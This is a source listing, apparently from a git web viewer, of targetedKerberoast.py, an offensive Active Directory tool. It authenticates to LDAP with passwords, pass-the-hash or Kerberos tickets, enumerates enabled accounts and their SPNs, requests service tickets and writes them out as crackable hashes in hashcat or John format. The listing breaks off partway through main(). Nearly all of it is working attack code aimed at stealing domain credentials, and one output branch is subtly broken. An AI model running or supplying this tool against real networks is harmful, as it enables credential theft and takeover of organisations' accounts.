daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

targetedKerberoast.py (33921B)


      1 #!/usr/bin/env python3
      2 # -*- coding: utf-8 -*-
      3 # File name          : targetedKerberoast.py
      4 # Author             : Shutdown (@_nwodtuhs)
      5 # Date created       : 2 Aug 2021
      6 
      7 import argparse, sys
      8 import os
      9 import ssl
     10 import traceback
     11 from binascii import hexlify, unhexlify
     12 
     13 import ldap3
     14 from pyasn1.codec.der import decoder
     15 from impacket.krb5 import constants
     16 from impacket.krb5.asn1 import TGS_REP
     17 from impacket.krb5.types import Principal
     18 from impacket.krb5.ccache import CCache
     19 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
     20 from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
     21 from impacket.smbconnection import SMBConnection
     22 
     23 from rich.console import Console
     24 
     25 
     26 def get_machine_name(dc_ip, domain):
     27     if dc_ip is not None:
     28         s = SMBConnection(dc_ip, dc_ip)
     29     else:
     30         s = SMBConnection(domain, domain)
     31     try:
     32         s.login('', '')
     33     except Exception:
     34         if s.getServerName() == '':
     35             raise Exception('Error while anonymous logging into %s' % domain)
     36     else:
     37         s.logoff()
     38     return s.getServerName()
     39 
     40 
     41 def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aes_key='', kdcHost=None,
     42                          TGT=None, TGS=None, useCache=True):
     43     from pyasn1.codec.ber import encoder, decoder
     44     from pyasn1.type.univ import noValue
     45     """
     46     logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
     47     :param string user: username
     48     :param string password: password for the user
     49     :param string domain: domain where the account is valid for (required)
     50     :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
     51     :param string nthash: NTHASH used to authenticate using hashes (password is not used)
     52     :param string aes_key: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
     53     :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
     54     :param struct TGT: If there's a TGT available, send the structure here and it will be used
     55     :param struct TGS: same for TGS. See smb3.py for the format
     56     :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
     57     :return: True, raises an Exception if error.
     58     """
     59 
     60     if lmhash != '' or nthash != '':
     61         if len(lmhash) % 2:
     62             lmhash = '0' + lmhash
     63         if len(nthash) % 2:
     64             nthash = '0' + nthash
     65         try:  # just in case they were converted already
     66             lmhash = unhexlify(lmhash)
     67             nthash = unhexlify(nthash)
     68         except TypeError:
     69             pass
     70 
     71     if user is None:
     72         user = ""
     73 
     74     # Importing down here so pyasn1 is not required if kerberos is not used.
     75     from impacket.krb5.ccache import CCache
     76     from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
     77     from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
     78     from impacket.krb5 import constants
     79     from impacket.krb5.types import Principal, KerberosTime, Ticket
     80     import datetime
     81 
     82     if TGT is not None or TGS is not None or aes_key is not None:
     83         useCache = False
     84 
     85     if useCache:
     86         try:
     87             ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
     88         except Exception as e:
     89             pass
     90         else:
     91             # retrieve domain information from CCache file if needed
     92             if domain == '':
     93                 domain = ccache.principal.realm['data'].decode('utf-8')
     94                 logger.debug('Domain retrieved from CCache: %s' % domain)
     95 
     96             logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
     97             principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
     98 
     99             creds = ccache.getCredential(principal)
    100             if creds is None:
    101                 # Let's try for the TGT and go from there
    102                 principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
    103                 creds = ccache.getCredential(principal)
    104                 if creds is not None:
    105                     TGT = creds.toTGT()
    106                     logger.debug('Using TGT from cache')
    107                 else:
    108                     logger.debug('No valid credentials found in cache')
    109             else:
    110                 TGS = creds.toTGS(principal)
    111                 logger.debug('Using TGS from cache')
    112 
    113             # retrieve user information from CCache file if needed
    114             if user == '' and creds is not None:
    115                 user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
    116                 logger.debug('Username retrieved from CCache: %s' % user)
    117             elif user == '' and len(ccache.principal.components) > 0:
    118                 user = ccache.principal.components[0]['data'].decode('utf-8')
    119                 logger.debug('Username retrieved from CCache: %s' % user)
    120 
    121     # First of all, we need to get a TGT for the user
    122     userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    123     if TGT is None:
    124         if TGS is None:
    125             tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
    126                                                                     aes_key, kdcHost)
    127     else:
    128         tgt = TGT['KDC_REP']
    129         cipher = TGT['cipher']
    130         sessionKey = TGT['sessionKey']
    131 
    132     if TGS is None:
    133         serverName = Principal('ldap/%s' % target, type=constants.PrincipalNameType.NT_SRV_INST.value)
    134         tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
    135                                                                 sessionKey)
    136     else:
    137         tgs = TGS['KDC_REP']
    138         cipher = TGS['cipher']
    139         sessionKey = TGS['sessionKey']
    140 
    141         # Let's build a NegTokenInit with a Kerberos REQ_AP
    142 
    143     blob = SPNEGO_NegTokenInit()
    144 
    145     # Kerberos
    146     blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
    147 
    148     # Let's extract the ticket from the TGS
    149     tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    150     ticket = Ticket()
    151     ticket.from_asn1(tgs['ticket'])
    152 
    153     # Now let's build the AP_REQ
    154     apReq = AP_REQ()
    155     apReq['pvno'] = 5
    156     apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
    157 
    158     opts = []
    159     apReq['ap-options'] = constants.encodeFlags(opts)
    160     seq_set(apReq, 'ticket', ticket.to_asn1)
    161 
    162     authenticator = Authenticator()
    163     authenticator['authenticator-vno'] = 5
    164     authenticator['crealm'] = domain
    165     seq_set(authenticator, 'cname', userName.components_to_asn1)
    166     now = datetime.datetime.now(datetime.timezone.utc)
    167 
    168     authenticator['cusec'] = now.microsecond
    169     authenticator['ctime'] = KerberosTime.to_asn1(now)
    170 
    171     encodedAuthenticator = encoder.encode(authenticator)
    172 
    173     # Key Usage 11
    174     # AP-REQ Authenticator (includes application authenticator
    175     # subkey), encrypted with the application session key
    176     # (Section 5.5.1)
    177     encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
    178 
    179     apReq['authenticator'] = noValue
    180     apReq['authenticator']['etype'] = cipher.enctype
    181     apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
    182 
    183     blob['MechToken'] = encoder.encode(apReq)
    184 
    185     request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO',
    186                                                   blob.getData())
    187 
    188     # Done with the Kerberos saga, now let's get into LDAP
    189     if connection.closed:  # try to open connection if closed
    190         connection.open(read_server_info=False)
    191 
    192     connection.sasl_in_progress = True
    193     response = connection.post_send_single_response(connection.send('bindRequest', request, None))
    194     connection.sasl_in_progress = False
    195     if response[0]['result'] != 0:
    196         raise Exception(response)
    197 
    198     connection.bound = True
    199 
    200     return True
    201 
    202 
    203 
    204 
    205 def init_ldap_connection(target, tls_version, use_kerberos, domain, username, password, lmhash="", nthash=""):
    206     user = '%s\\%s' % (domain, username)
    207     connect_to = target
    208     if args.dc_ip is not None:
    209         connect_to = args.dc_ip
    210     if tls_version is not None:
    211         use_ssl = True
    212         port = 636
    213         tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version)
    214     else:
    215         use_ssl = False
    216         port = 389
    217         tls = None
    218     ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls)
    219     if use_kerberos:
    220         ldap_session = ldap3.Connection(ldap_server)
    221         ldap_session.bind()
    222         ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.auth_aes_key, kdcHost=args.dc_ip)
    223     elif lmhash != "" and nthash != "":
    224         ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True)
    225     else:
    226         ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True)
    227 
    228     return ldap_server, ldap_session
    229 
    230 
    231 def init_ldap_session(use_kerberos, use_ldaps, dc_ip, domain, username, password, lmhash, nthash):
    232     if use_kerberos and not args.dc_host:
    233         target = get_machine_name(dc_ip, domain)
    234     else:
    235         if use_kerberos:
    236             target = args.dc_host
    237         else:
    238             if dc_ip is not None:
    239                 target = args.dc_ip
    240             else:
    241                 target = domain
    242 
    243     if use_ldaps is True:
    244         try:
    245             return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, use_kerberos, domain, username, password, lmhash, nthash)
    246         except ldap3.core.exceptions.LDAPSocketOpenError:
    247             return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, use_kerberos, domain, username, password, lmhash, nthash)
    248     else:
    249         return init_ldap_connection(target, None, use_kerberos, domain, username, password, lmhash, nthash)
    250 
    251 
    252 def get_users_and_SPNs(ldap_session, domain, usernames=None):
    253     if domain is None or "." not in domain:
    254         logger.error("FQDN Domain is needed to fetch domain information from LDAP")
    255         exit(0)
    256     else:
    257         domain_dn = ",".join(["DC=" + part for part in domain.split(".")])
    258 
    259     # Building the search filter
    260     filter_person = "objectCategory=person"
    261     filter_not_disabled = "!(userAccountControl:1.2.840.113556.1.4.803:=2)"
    262 
    263     search_filters = "(&"
    264     search_filters += "(" + filter_person + ")"
    265     search_filters += "(" + filter_not_disabled + ")"
    266     if usernames is not None:
    267         search_filters += '(|' + ''.join(["(sAMAccountName:=%s)" % u for u in usernames]) + ')'
    268     search_filters += ')'
    269 
    270     # we want username and attempts left for each account
    271     attributes = ["samAccountName", "servicePrincipalName", "distinguishedName"]
    272 
    273     try:
    274         ldap_session.search(search_base=domain_dn, search_filter=search_filters, attributes=attributes, size_limit=100000)
    275     except Exception as e:
    276         if 'sizeLimitExceeded' in e:
    277             logger.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
    278             # We reached the sizeLimit, process the answers we have already and that's it. Until we implement paged queries
    279             pass
    280         else:
    281             raise
    282 
    283     users = {}
    284     for item in ldap_session.response:
    285         if "attributes" in item.keys():
    286             if "sAMAccountName" in item["attributes"].keys():
    287                 sAMAccountName = item["attributes"]["sAMAccountName"]
    288                 # following check is because tests have shown that with a Kerberos auth, results are sent in a list while str with NTLM auth (wtf?)
    289                 if type(sAMAccountName) == list:
    290                     sAMAccountName = sAMAccountName[0]
    291                 users[sAMAccountName] = {}
    292             if "distinguishedName" in item["attributes"].keys():
    293                 distinguishedName = item["attributes"]["distinguishedName"]
    294                 users[sAMAccountName]["dn"] = distinguishedName
    295             if "servicePrincipalName" in item["attributes"].keys():
    296                 users[sAMAccountName]["spns"] = item["attributes"]["servicePrincipalName"]
    297     return users
    298 
    299 
    300 def obtain_krb_hash(TGT, sAMAccountName, target_domain, kdc_host):
    301     downLevelLogonName = target_domain + "\\" + sAMAccountName
    302     try:
    303         principalName = Principal()
    304         principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
    305         principalName.components = [downLevelLogonName]
    306         tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, target_domain, kdc_host, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
    307         # self.outputTGS(tgs, oldSessionKey, sessionKey, sAMAccountName, self.__targetDomain + "/" + sAMAccountName, fd)
    308         spn = '%s/%s' % (target_domain, sAMAccountName)
    309         decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
    310         entry = None
    311         if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
    312             entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
    313                 constants.EncryptionTypes.rc4_hmac.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
    314                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
    315                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
    316         elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
    317             entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
    318                 constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
    319                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
    320                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
    321         elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
    322             entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
    323                 constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
    324                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
    325                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
    326         elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
    327             entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
    328                 constants.EncryptionTypes.des_cbc_md5.value, sAMAccountName, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
    329                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
    330                 hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
    331         else:
    332             logger.error('Skipping %s/%s due to incompatible e-type %d' % (
    333                 decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
    334                 decodedTGS['ticket']['enc-part']['etype']))
    335         return entry
    336     except Exception as e:
    337         if args.verbosity >= 1:
    338             traceback.print_exc()
    339         logger.debug("Exception: %s" % e)
    340         logger.error('Principal: %s - %s' % (downLevelLogonName, str(e)))
    341 
    342 def handle_result(filename, result, user):
    343     if result is not None:
    344         # Prepend the username for better output with john
    345         if args.output_format == 'john':
    346             result = user + ':' + result
    347         if filename is not None and filename != '':
    348             if len(os.path.dirname(filename)) != 0:
    349                 if not os.path.exists(os.path.dirname(filename)):
    350                     os.makedirs(os.path.dirname(filename), exist_ok=True)
    351             if not os.path.exists(filename):
    352                 open(filename, "w").close()
    353             with open(filename, 'a') as f:
    354                 logger.success("Writing hash to file for (%s)" % user)
    355                 f.write(result.strip() + "\n")
    356         else:
    357             logger.success("Printing hash for (%s)" % user)
    358             print(result)
    359 
    360 
    361 class Logger(object):
    362     def __init__(self, verbosity=0, quiet=False):
    363         self.verbosity = verbosity
    364         self.quiet = quiet
    365         if verbosity == 3:
    366             print("(╯°□°)╯︵ ┻━┻ WHAT HAVE YOU DONE !? (╯°□°)╯︵ ┻━┻")
    367             exit(0)
    368         elif verbosity == 4:
    369             art = """⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    370 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    371 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    372     ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
    373     ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿
    374     ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿
    375     ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿
    376     ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿
    377     ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿
    378     ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿
    379     ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿
    380     ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿
    381     ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹
    382     ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄
    383     ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀
    384     ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿
    385     ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿
    386     ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘⠀⠀⠀⠀⠀⠀
    387 
    388 ⠀The best tools in the history of tools. Ever.
    389 """
    390             print(art)
    391             exit(0)
    392         elif verbosity == 5:
    393             art = """
    394 
    395     ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢤⣶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
    396     ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⡾⠿⢿⡀⠀⠀⠀⠀⣠⣶⣿⣷⠀⠀⠀⠀
    397     ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣦⣴⣿⡋⠀⠀⠈⢳⡄⠀⢠⣾⣿⠁⠈⣿⡆⠀⠀⠀
    398     ⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⠿⠛⠉⠉⠁⠀⠀⠀⠹⡄⣿⣿⣿⠀⠀⢹⡇⠀⠀⠀
    399     ⠀⠀⠀⠀⠀⣠⣾⡿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⣰⣏⢻⣿⣿⡆⠀⠸⣿⠀⠀⠀
    400     ⠀⠀⠀⢀⣴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣆⠹⣿⣷⠀⢘⣿⠀⠀⠀
    401     ⠀⠀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⠋⠉⠛⠂⠹⠿⣲⣿⣿⣧⠀⠀
    402     ⠀⢠⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣿⣿⣿⣷⣾⣿⡇⢀⠀⣼⣿⣿⣿⣧⠀
    403     ⠰⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⡘⢿⣿⣿⣿⠀
    404     ⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⣷⡈⠿⢿⣿⡆
    405     ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠛⠁⢙⠛⣿⣿⣿⣿⡟⠀⡿⠀⠀⢀⣿⡇
    406     ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣶⣤⣉⣛⠻⠇⢠⣿⣾⣿⡄⢻⡇
    407     ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣦⣤⣾⣿⣿⣿⣿⣆⠁
    408 
    409 ⠀ 🈵⠀STOP INCREASING VERBOSITY (PUNK!) 🈵⠀
    410 """
    411             print(art)
    412             exit(0)
    413 
    414         elif verbosity == 6:
    415             art = """
    416     ⣿⣿⣿⣿⣿⣿⠟⠋⠁⣀⣤⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣿⣿
    417     ⣿⣿⣿⣿⠋⠁⠀⠀⠺⠿⢿⣿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠻⣿
    418     ⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⠀⠀⠀⠀⠀⣤⣦⣄⠀⠀
    419     ⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⠏⣿⣿⣿⣿⣿⣁⠀⠀⠀⠛⠙⠛⠋⠀⠀
    420     ⡿⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⣰⣿⣿⣿⣿⡄⠘⣿⣿⣿⣿⣷⠄⠀⠀⠀⠀⠀⠀⠀⠀
    421     ⡇⠀⠀⠀⠀⠀⠀⠀⠸⠇⣼⣿⣿⣿⣿⣿⣷⣄⠘⢿⣿⣿⣿⣅⠀⠀⠀⠀⠀⠀⠀⠀
    422     ⠁⠀⠀⠀⣴⣿⠀⣐⣣⣸⣿⣿⣿⣿⣿⠟⠛⠛⠀⠌⠻⣿⣿⣿⡄⠀⠀⠀⠀⠀⠀⠀
    423     ⠀⠀⠀⣶⣮⣽⣰⣿⡿⢿⣿⣿⣿⣿⣿⡀⢿⣤⠄⢠⣄⢹⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀
    424     ⠀⠀⠀⣿⣿⣿⣿⣿⡘⣿⣿⣿⣿⣿⣿⠿⣶⣶⣾⣿⣿⡆⢻⣿⣿⠃⢠⠖⠛⣛⣷⠀
    425     ⠀⠀⢸⣿⣿⣿⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣮⣝⡻⠿⠿⢃⣄⣭⡟⢀⡎⣰⡶⣪⣿⠀
    426     ⠀⠀⠘⣿⣿⣿⠟⣛⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⡿⢁⣾⣿⢿⣿⣿⠏⠀
    427     ⠀⠀⠀⣻⣿⡟⠘⠿⠿⠎⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣵⣿⣿⠧⣷⠟⠁⠀⠀
    428     ⡇⠀⠀⢹⣿⡧⠀⡀⠀⣀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⢰⣿⠀⠀⠀⠀
    429     ⡇⠀⠀⠀⢻⢰⣿⣶⣿⡿⠿⢂⣿⣿⣿⣿⣿⣿⣿⢿⣻⣿⣿⣿⡏⠀⠀⠁⠀⠀⠀⠀
    430     ⣷⠀⠀⠀⠀⠈⠿⠟⣁⣴⣾⣿⣿⠿⠿⣛⣋⣥⣶⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀
    431 
    432     yamete kudasai !!!
    433 """
    434             print(art)
    435             exit(0)
    436         elif verbosity > 6:
    437             print("Sorry bruh, no more easter eggs")
    438             exit(0)
    439 
    440     def debug(self, message):
    441         if self.verbosity == 2:
    442             console.print("{}[DEBUG]{} {}".format("[yellow3]", "[/yellow3]", message), highlight=False)
    443 
    444     def verbose(self, message):
    445         if self.verbosity >= 1:
    446             console.print("{}[VERBOSE]{} {}".format("[blue]", "[/blue]", message), highlight=False)
    447 
    448     def info(self, message):
    449         if not self.quiet:
    450             console.print("{}[*]{} {}".format("[bold blue]", "[/bold blue]", message), highlight=False)
    451 
    452     def success(self, message):
    453         if not self.quiet:
    454             console.print("{}[+]{} {}".format("[bold green]", "[/bold green]", message), highlight=False)
    455 
    456     def warning(self, message):
    457         if not self.quiet:
    458             console.print("{}[-]{} {}".format("[bold orange3]", "[/bold orange3]", message), highlight=False)
    459 
    460     def error(self, message):
    461         if not self.quiet:
    462             console.print("{}[!]{} {}".format("[bold red]", "[/bold red]", message), highlight=False)
    463 
    464 
    465 def parse_args():
    466     parser = argparse.ArgumentParser(description = "Queries target domain for SPNs that are running under a user account and operate targeted Kerberoasting")
    467     parser.add_argument("-v", "--verbose", dest="verbosity", action="count", default=0, help="verbosity level (-v for verbose, -vv for debug)")
    468     parser.add_argument("-q", "--quiet", dest="quiet", action="store_true", default=False, help="show no information at all")
    469     parser.add_argument('-D', '--target-domain', action='store', help='Domain to query/request if different than the domain of the user. Allows for Kerberoasting across trusts.')
    470     parser.add_argument('-U', '--users-file', help='File with user per line to test')
    471     parser.add_argument('--request-user', action='store', metavar='username', help='Requests TGS for the SPN associated to the user specified (just the username, no domain needed)')
    472     parser.add_argument('-o', '--output-file', action='store', help='Output filename to write ciphers in JtR/hashcat format')
    473     parser.add_argument('-f', '--output-format', action='store', choices=['hashcat', 'john'], default='hashcat', help='Output format (default is "hashcat", "john" prepends usernames)')
    474     parser.add_argument('--use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')
    475     parser.add_argument('--only-abuse', action='store_true', help='Ignore accounts that already have an SPN and focus on targeted Kerberoasting')
    476     parser.add_argument('--no-abuse', action='store_true', help="Don't attempt targeted Kerberoasting")
    477     parser.add_argument('--dc-host', action='store', help='Hostname of the target, can be used if port 445 is blocked or if NTLM is disabled')
    478 
    479 
    480     authconn = parser.add_argument_group('authentication & connection')
    481     authconn.add_argument('--dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')
    482     authconn.add_argument("-d", "--domain", dest="auth_domain", metavar="DOMAIN", action="store", help="(FQDN) domain to authenticate to")
    483     authconn.add_argument("-u", "--user", dest="auth_username", metavar="USER", action="store", help="user to authenticate with")
    484 
    485     secret = parser.add_argument_group('secrets')
    486     secret.add_argument("-k", "--kerberos", dest="use_kerberos", action="store_true", help='Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')
    487     cred = secret.add_mutually_exclusive_group()
    488     cred.add_argument('--no-pass', action="store_true", help="don't ask for password (useful for -k)")
    489     cred.add_argument("-p", "--password", dest="auth_password", metavar="PASSWORD", action="store", help="password to authenticate with")
    490     cred.add_argument("-H", "--hashes", dest="auth_hashes", action="store", metavar="[LMHASH:]NTHASH", help='NT/LM hashes, format is LMhash:NThash')
    491     cred.add_argument('--aes-key', dest="auth_aes_key", action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)')
    492 
    493     args = parser.parse_args()
    494 
    495     if args.no_abuse and args.only_abuse:
    496         parser.error("can't set --no-abuse and --only-abuse, it's counterintuitive")
    497 
    498     if args.use_kerberos == False and args.auth_aes_key is None and args.auth_hashes is None and args.auth_password is None and args.auth_username is None:
    499         parser.error("need to set credentials")
    500 
    501     if len(sys.argv) == 1:
    502         parser.print_help()
    503         sys.exit(1)
    504 
    505     return args
    506 
    507 def main():
    508     try:
    509         logger.info("Starting kerberoast attacks")
    510         auth_lm_hash = ""
    511         auth_nt_hash = ""
    512         if args.auth_hashes is not None:
    513             if ":" in args.auth_hashes:
    514                 auth_lm_hash = args.auth_hashes.split(":")[0]
    515                 auth_nt_hash = args.auth_hashes.split(":")[1]
    516             else:
    517                 auth_nt_hash = args.auth_hashes
    518             if auth_nt_hash == "":
    519                 auth_nt_hash = "31d6cfe0d16ae931b73c59d7e0c089c0"
    520             if auth_lm_hash == "":
    521                 auth_lm_hash = "aad3b435b51404eeaad3b435b51404ee"
    522         
    523         use_kerb = args.use_kerberos
    524         if args.auth_aes_key is not None:
    525             use_kerb = True
    526 
    527         ldap_server, ldap_session = init_ldap_session(dc_ip=args.dc_ip, use_kerberos=use_kerb, use_ldaps=args.use_ldaps, domain=args.auth_domain, username=args.auth_username, password=args.auth_password, lmhash=auth_lm_hash, nthash=auth_nt_hash)
    528         users = {}
    529         if args.request_user is not None:
    530             logger.info("Attacking user (%s)" % args.request_user)
    531             users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain, usernames=[args.request_user])
    532         elif args.users_file is not None:
    533             logger.info("Fetching usernames from file")
